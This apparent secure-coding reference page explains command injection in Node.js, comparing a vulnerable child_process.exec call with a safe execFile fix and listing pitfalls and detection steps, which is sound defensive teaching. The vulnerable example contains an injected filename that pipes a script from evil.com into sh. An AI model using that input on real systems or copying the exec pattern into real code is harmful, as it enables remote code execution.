flawopen.com/Command Injection/JavaScript

Command Injection in JavaScript

Critical CWE-78 Draft — pending review
ELI5

Imagine ordering food from a menu. If the waiter takes your note 'Burger; bring all money in register' and gives it to a cook who obeys every sentence on the paper, that is command injection.

Key terms on this page
child_process.exec
Node.js API that spawns a shell (/bin/sh on POSIX, cmd.exe on Windows) to execute a command string, making it vulnerable to shell metacharacters.
child_process.execFile
Node.js API that executes an executable file directly without spawning a shell, passing arguments as a safe array.

What's happening

In Node.js, developers frequently reach for child_process.exec() to run system utilities like git, tar, or convert. Because exec() invokes an underlying shell interpreter, interpolating variables with template literals allows attackers to execute arbitrary commands.

Real-world impact

Over 50 npm packages have suffered high-severity command injection CVEs due to naive wrapping of CLI tools via child_process.exec, leading to malicious cryptominer installations and secret exfiltration.

Snyk & GitHub Advisory Database.

Vulnerable vs. fixed

VULNERABLE
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');

function convertImage(filename) {
  // Input: "avatar.png; curl http://evil.com/shell | sh"
  exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
    console.log(stdout);
  });
}
FIXED
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');

function convertImage(filename) {
  // filename is passed as a literal argument, never parsed as a shell command
  execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
    console.log(stdout);
  });
}

Why the fix works

execFile() calls operating system process creation APIs directly. The arguments are passed as distinct strings in an array, so characters like ; or | are interpreted literally as part of the filename, rather than control operators.

Gotchas

execFile with .bat or .cmd on Windows invokes cmd.exe

On Windows, executing batch files requires cmd.exe, which re-introduces command parsing. Use compiled binaries (.exe) or sanitize arguments strictly on Windows.

spawn() with { shell: true } has the same vulnerability as exec()

Using spawn() with the shell: true option re-enables the shell interpreter and exposes the exact same injection surface.

Common misconceptions

"Node.js runs in user space so it cannot harm the system"

The child process runs with the exact same permissions as the Node process itself—meaning full access to source code, environment variables (.env), and credentials.

How to check if you're affected

grep -rn "child_process.*\.exec(" --include="*.js" --include="*.ts" .
Configure ESLint rule security/detect-child-process to flag shell execution in pull requests.

Prevention checklist

FAQ

What is the difference between execFile and spawn?

execFile buffers the complete output in memory and returns a callback; spawn streams stdout/stderr chunks. Both are safe from shell injection when invoked without a shell.

References

View in: Python JavaScript Go Java PHP C# Ruby C/C++ Rust Kotlin Swift Solidity (N/A)
Also see: SQL Injection XSS Path Traversal Insecure Deserialization